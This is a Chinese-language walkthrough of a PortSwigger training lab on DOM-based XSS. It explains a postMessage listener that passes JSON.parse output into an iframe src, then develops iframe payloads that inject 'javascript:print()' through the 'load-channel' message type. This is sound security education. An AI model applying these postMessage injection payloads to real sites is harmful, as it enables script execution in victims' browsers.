从业者-web消息与JSON.parse-实现DOM型XSS
# 实验室:使用Web消息和JSON.parse
的DOM型XSS
# 题目
此实验室使用了 Web 消息传递,并将消息解析为 JSON。若要解决实验室问题,请在漏洞利用服务器上构造一个 HTML 页面并使其调用print()
函数。
- name: 实验室-从业者
desc: 使用Web消息和`JSON.parse`的DOM型XSS >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
查看网页源代码,可以看到一段 JavaScript:
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
以上代码将会:
- 创建一个
iframe
标签节点,将其追加到网页中; - 从 web 消息中获取内容,并使用
JSON.parse()
函数将其转换为 JSON 格式,然后赋值给d
变量; - 检查
d.type
是否存在,如果存在并且值为 “page-load”,则将页面滚动到iframe
标签所在的位置; - 如果
d.type
值为 “load-channel”,则将iframe
标签的src
属性设置为d.url
的值; - 如果
d.type
值为 “player-height-changed”,则将iframe
标签的width
和height
属性分别设置为d.width
和d.height
的值。
从这段代码中可以看到三种操作:滚动、设置src
属性、设置width
(宽)和height
(高)属性。
我们可以在开发者工具的控制台中,测试JSON.parse()
函数的效果。
该函数要求传入一个字符串,字符串必须为标准的 JSON 格式。如图所示,我成功将一个字符串转换为了 JSON 格式,并赋值给了a
变量,通过a.xyz
可以获取其中的属性值。
var a = JSON.parse('{"abc": 123, "xyz": 456, "jkl": 789}')
a.xyz
2
此外,JSON.parse()
对传入的字符串也有一些要求,例如,属性名必须使用双引号"
来包含,不能使用单引号。
// 正确
var a = JSON.parse('{"abc": 123}')
// 错误!属性名必须使用双引号!
var b = JSON.parse("{'abc': 123}")
2
3
4
5
更多有关JSON.parse()
的信息,可以参阅这篇文档 (opens new window)。
访问漏洞利用服务器,构造一个载荷:
<iframe src="//<目标站点>" onload='this.contentWindow.postMessage("{\"type\":\"page-load\"}","*")'>
这里通过 web 消息传递了一个字符串,字符串包含标准格式的 JSON 数据,其中包含一个属性type
,值为page-load
。
前面提到,web 消息将会被转换为 JSON 格式,如果其中的type
属性值为 “page-load”,则会滚动到iframe
元素所在的位置。
保存载荷之后,访问漏洞利用 URL,这是一开始的样子:
短时间后,被框柱的网页自行滚动到了底部。
这正是iframe
元素所在的位置。
(((注意:这个iframe
是目标站点自己生成的,不是我们在漏洞利用服务器上保存的那个)))
第一种操作 “page-load” 试过了,接下来尝试load-channel
,该操作可以修改iframe
元素的src
属性。
构造以下载荷:
<iframe src="//<目标站点>" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"http://this.is.url/abcdefg\"}","*")'>
访问之后,找到元素所在位置,成功修改了其src
属性值。
并且src
可以加载。
能否通过引号闭合原有属性?
<iframe src="//<目标站点>" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"\\\"abc=123\"}","*")'>
不能,引号被过滤。
那么,iframe
可以与javascript:
组合吗?是否需要用户交互?
<iframe src="javascript:alert(5)">
在漏洞利用服务器上保存以上代码。
然后访问,直接弹框了,iframe
可以与javascript:
组合,并且不需要用户交互。
修改之前的载荷,传递的url
值为javascript:print()
,这将会注入到目标站点自己的iframe
标签的src
属性中。
<iframe src="//<目标站点>" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
访问测试,成功。
将载荷发送给受害用户。
实验完成。